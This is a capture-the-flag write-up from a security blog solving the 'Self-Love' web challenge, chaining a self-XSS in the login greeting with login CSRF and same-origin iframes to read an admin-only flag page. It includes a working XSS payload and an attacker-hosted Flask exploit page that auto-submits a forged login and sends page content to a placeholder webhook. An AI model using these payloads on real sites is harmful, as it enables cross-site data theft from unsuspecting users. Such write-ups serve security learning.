DJumanto Sec Blog

Self-Love NCW 2025

Word count: 2.6kReading time: 16 min
2025/12/11
loading

🖊️Author: DJumanto
🛡️Team: proof by feeling
📖Note: This Writeup contains solver for SelfLove challenge in NCW CTF 2025


TL;DR

This write-up explains how we can escalate a self‑XSS, combined with CSRF, into stealing information from other users.


Summary

  • Vulnerabilities: Cross Site Scripting (XSS), CSRF.
  • Target: Read the flag in high privilege user endpoint

The App

In this challenge, we’re given a web application with some functionalities, where we able to register, login, and report admin, an obvious client side challenge.

app.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
from flask import Flask, request, g, render_template, flash, session
import sqlite3
import os
from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.webdriver.chrome.options import Options
from flask_limiter import Limiter
from flask_limiter.util import get_remote_address
import time
import threading

DATABASE = "database.db"
app = Flask(__name__)
limiter = Limiter(
get_remote_address,
app=app
)

app.secret_key = os.urandom(32).hex()
app.config['SESSION_COOKIE_SAMESITE'] = 'None'
app.config['SESSION_COOKIE_SECURE'] = True
FLAG = "NCW{fake_flag}"
admin_username = "tanknight_" + os.urandom(6).hex()
admin_password = FLAG
from sigma import *

@app.after_request
def after_request(response):
response.headers["Content-Security-Policy"] = "default-src 'self'; script-src 'self' https://cdn.tailwindcss.com/3.4.17 http://www.instagram.com/embed.js; style-src 'self' 'unsafe-inline'; frame-src https://www.instagram.com/;"
return response

def get_db():
"""Return a DB connection for this request, creating it if needed."""
if "db" not in g:
g.db = sqlite3.connect(DATABASE, timeout=30)
g.db.row_factory = sqlite3.Row
return g.db

@app.route('/')
def home():
username = session.get('username', 'Guest')
if username == 'Guest':
return "Hello " + username + "!" + '<script src="https://cdn.tailwindcss.com/3.4.17"></script><body class="min-h-screen flex flex-col items-center gap-4 justify-center bg-gradient-to-br from-slate-900 via-indigo-900 to-sky-900 text-slate-100 text-center font-sans"><br>Login untuk melihat easter egg.<a href="/login" class="px-6 py-3 bg-sky-500 hover:bg-sky-600 text-slate-900 font-semibold rounded-xl shadow-lg transition">Login</a></body>'
else:
return "Hello " + username + "!" + "<meta http-equiv='refresh' content='0; url=/dashboard' />"

@app.route('/dashboard')
def dashboard():
if not session.get('user_id'):
return "<meta http-equiv='refresh' content='0; url=/login' />" + "Please login first!"
return '<script src="https://cdn.tailwindcss.com/3.4.17"></script><body class="min-h-screen flex items-center gap-4 justify-center bg-gradient-to-br from-slate-900 via-indigo-900 to-sky-900 text-slate-100 text-center font-sans">' + post_instagram_tersigma + post_instagram_tersigma_2 + '</body>' + f"<!-- flag gratis 👻: {FLAG[:5]} -->"

@app.route('/flag')
def flag():
print(f"{session.get('username','Guest')} is trying to access /flag")
if session.get('admin'):
return FLAG
return "kamu siapa bang?"

@app.route('/logout')
def logout():
session.clear()
return "<meta http-equiv='refresh' content='0; url=/login' />" + "Logout successful!"

@app.route('/login', methods=['GET', 'POST'])
def login():
if session.get('user_id'):
return "<meta http-equiv='refresh' content='0; url=/' />" + "Already logged in!"

if request.method == 'GET':
return render_template('login.html')

username = request.form['username']
password = request.form['password']

db = get_db()
cursor = db.cursor()
cursor.execute('SELECT * FROM users WHERE username = ? AND password = ?', (username, password))
user = cursor.fetchone()
db.close()

if not user:
return "<meta http-equiv='refresh' content='0; url=/login' />" + "Invalid credentials or account does not exists!"

session['user_id'] = user['id']
session['username'] = user['username']
session['admin'] = user['admin']
return "<meta http-equiv='refresh' content='0; url=/' />" + "Login successful!"

@app.route('/register', methods=['GET', 'POST'])
def register():
if session.get('user_id'):
return "<meta http-equiv='refresh' content='0; url=/' />" + "Already logged in!"

if request.method == 'GET':
return render_template('register.html')

username = request.form['username']
password = request.form['password']

db = get_db()
cursor = db.cursor()
try:
if FLAG in password:
cursor.execute('INSERT INTO users (username, password, admin) VALUES (?, ?, ?)', (username, password, True))
else:
cursor.execute('INSERT INTO users (username, password, admin) VALUES (?, ?, ?)', (username, password, False))
db.commit()

user_id = cursor.lastrowid
cursor.execute('SELECT id, username, admin FROM users WHERE id = ?', (user_id,))
user = cursor.fetchone()

session['user_id'] = user['id']
session['username'] = user['username']
session['admin'] = user['admin']
message = "<meta http-equiv='refresh' content='0; url=/dashboard' />" + f"User {username} registered successfully."
except sqlite3.IntegrityError:
message = "<meta http-equiv='refresh' content='0; url=/register' />" + f"User {username} already exists."
finally:
db.close()

return message

def run_bot(url):
options = Options()
options.add_argument('--headless')
options.add_argument('--no-sandbox')
options.add_argument("--ignore-certificate-errors")
options.add_argument('--disable-dev-shm-usage')
options.add_argument('--disable-infobars')
options.add_argument('--disable-background-networking')
options.add_argument('--disable-default-apps')
options.add_argument('--disable-extensions')
options.add_argument('--disable-gpu')
options.add_argument('--disable-sync')
options.add_argument('--disable-translate')

driver = webdriver.Chrome(options=options)
try:
## STAGE 1: Registering admin account..
driver.get("https://127.0.0.1:40111/register")
driver.find_element(By.NAME, "username").send_keys(admin_username)
driver.find_element(By.NAME, "password").send_keys(admin_password)
driver.find_element(By.XPATH, "//button[@type='submit']").click()
time.sleep(1)
try:
## STAGE 2: Login as admin..
driver.get("https://127.0.0.1:40111/login")
driver.find_element(By.NAME, "username").send_keys(admin_username)
driver.find_element(By.NAME, "password").send_keys(admin_password)
driver.find_element(By.XPATH, "//button[@type='submit']").click()
time.sleep(1)
except:
...
## STAGE 3: Visit the target URL
print(f"Bot is visiting: {url}")
print(driver.get_cookies())
driver.get(url)
time.sleep(10)
print(driver.get_cookies())
message = 'done.'
except Exception as e:
message = f"Error occurred: {e}"
print(f"Error occurred: {e}")
finally:
driver.close()
return message

@app.route('/report', methods=['GET', 'POST'])
@limiter.limit("5 per 10 minutes", methods=["POST"])
def report():
if request.method == 'GET':
return render_template('report.html')

url = request.form['url']
if not url.startswith("http://") and not url.startswith("https://"):
return "Only http and https protocol allowed.", 400

threading.Thread(target=run_bot, args=(url,)).start()
return f"Report submitted! Our bot will visit url shortly."

def init_db():
with app.app_context():
db = get_db()
cur = db.cursor()
cur.execute(
"""
CREATE TABLE IF NOT EXISTS users (
id INTEGER PRIMARY KEY AUTOINCREMENT,
username TEXT UNIQUE NOT NULL,
password TEXT NOT NULL,
admin BOOLEAN NOT NULL DEFAULT 0
)
"""
)
db.commit()

if __name__ == '__main__':
init_db()
app.run(host='0.0.0.0', port=40111, ssl_context='adhoc')

The target is to read the flag in the /flag endpoint where only admin can visit it.

Self XSS

There are several clear HTML injection points, both of which appear in the content returned to the user after the authentication process:

Injection point

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
...
# after login process
@app.route('/')
def home():
username = session.get('username', 'Guest')
if username == 'Guest':
return "Hello " + username + "!" + '<script src="https://cdn.tailwindcss.com/3.4.17"></script><body class="min-h-screen flex flex-col items-center gap-4 justify-center bg-gradient-to-br from-slate-900 via-indigo-900 to-sky-900 text-slate-100 text-center font-sans"><br>Login untuk melihat easter egg.<a href="/login" class="px-6 py-3 bg-sky-500 hover:bg-sky-600 text-slate-900 font-semibold rounded-xl shadow-lg transition">Login</a></body>'
else:
return "Hello " + username + "!" + "<meta http-equiv='refresh' content='0; url=/dashboard' />"
...

# after register process
session['user_id'] = user['id']
session['username'] = user['username']
session['admin'] = user['admin']
message = "<meta http-equiv='refresh' content='0; url=/dashboard' />" + f"User {username} registered successfully."
except sqlite3.IntegrityError:
message = "<meta http-equiv='refresh' content='0; url=/register' />" + f"User {username} already exists."
finally:
db.close()
...

However, the injection that happens right after registration isn’t very useful, since the page immediately redirects via a meta tag. The one that appears after logging in is much more useful, though, because we can simply comment out the <meta> tag using the username below.

1
<script src=’/’></script><!-- 

so it will become like this when rendered:

1
Hello <script src=’/’></script><!-- !  <meta http-equiv='refresh' content='0; url=/dashboard' />

However, because the CSP sets default-src ‘self’, our stored payload has to come from the same origin. To work around that, we can register a user whose username acts as both JavaScript and HTML. The trick is to turn the Hello string into an arrow function, so our username ends up looking like this:

1
= async () => {dosomethinghere}; Hello(); //<script src=’/’></script><!--

Then when it behaves as javascript, it will be processed like this:

1
Hello = async () => {dosomethinghere}; Hello(); //<script src=’/’></script><!-- !  <meta http-equiv='refresh' content='0; url=/dashboard' />

Great now we have XSS… but stil a self-XSS, how do we escalate it so we can compromise the victim?

CSRF Attack

During the login process, we can see that the application doesn’t enforce CSRF protection. That means we can create a page containing a credentialles iframe, then trick the user into visiting it so they log in as the attacker with our payload. The iframe won’t use the parent’s cookies, though. So the question is: “How do we actually get the flag?” If we look closely at the CSP configuration:

1
2
app.config['SESSION_COOKIE_SAMESITE'] = 'None'
app.config['SESSION_COOKIE_SECURE'] = True

The cookie’s SameSite value is set to None, which means it can be sent across different origins. That’s a good sign, because now we can create another iframe that uses the admin’s original cookies. Since both iframes share the same origin, iframe 1 can access properties inside iframe 2. Here’s a visual breakdown of the plan:

image

We can host a web like below:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from flask import Flask

app = Flask(__name__)

@app.route("/cok.html")
def index():
return '''
<iframe name="alamak" src="./csrf.html" width="40%" height="500px" credentialless></iframe>
<iframe name="kisanak" src="https://127.0.0.1:40111/flag" width="40%" height="500px"></iframe>'''

@app.route("/csrf.html")
def what():
return '''<html>
<body>
<form action="https://127.0.0.1:40111/login" method="POST">
<input type="hidden" name="username" value=" = async () => { PAYLOAD_HERE }; Hello();// <script src='/'></script><!--" />
<input type="hidden" name="password" value="calamity" />
<input type="submit" value="submit" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>'''

@app.route("/")
def hole():
return "aku ganteng"

app.run(host="0.0.0.0", port=1338, ssl_context='adhoc')

Yet while attempting for cookie extraction, i realized that the cookies is HTTPOnly

1
session=[cookie]; Secure; HttpOnly; Path=/; SameSite=None

Since there’s no endpoint that reflects the cookies in the response, our only option is to extract the flag directly from the page’s body. We can do that easily using window.top[1].document.body.innerText. So here’s my final XSS payload:

1
= async () => { await new Promise(r => setTimeout(r,1000)); location.replace(`https://[webhook]?c=${btoa(window.top[1].document.body.innerText)}`); }; Hello();// <script src='/'></script><!--

Now we can register as a user with that payload and force them to visit our site /cok.html, and we’ll get our flag in the webhook.


Exploit POC

automate.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from flask import Flask

app = Flask(__name__)

@app.route("/cok.html")
def index():
return '''
<iframe name="alamak" src="./csrf.html" width="40%" height="500px" credentialless></iframe>
<iframe name="kisanak" src="https://127.0.0.1:40111/flag" width="40%" height="500px"></iframe>'''

@app.route("/csrf.html")
def what():
return '''<html>
<body>
<form action="https://127.0.0.1:40111/login" method="POST">
<input type="hidden" name="username" value=" = async () => { await new Promise(r => setTimeout(r,1000)); location.replace(`https://[webhook]?c=${btoa(window.top[1].document.body.innerText)}`); }; Hello();// <script src='/'></script><!--" />
<input type="hidden" name="password" value="calamity" />
<input type="submit" value="submit" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>'''

@app.route("/")
def hole():
return "aku ganteng"

app.run(host="0.0.0.0", port=1338, ssl_context='adhoc')

References


CATALOG
  1. 1. TL;DR
  2. 2. Summary
  3. 3. The App
  4. 4. Self XSS
  5. 5. CSRF Attack
  6. 6. Exploit POC
  7. 7. References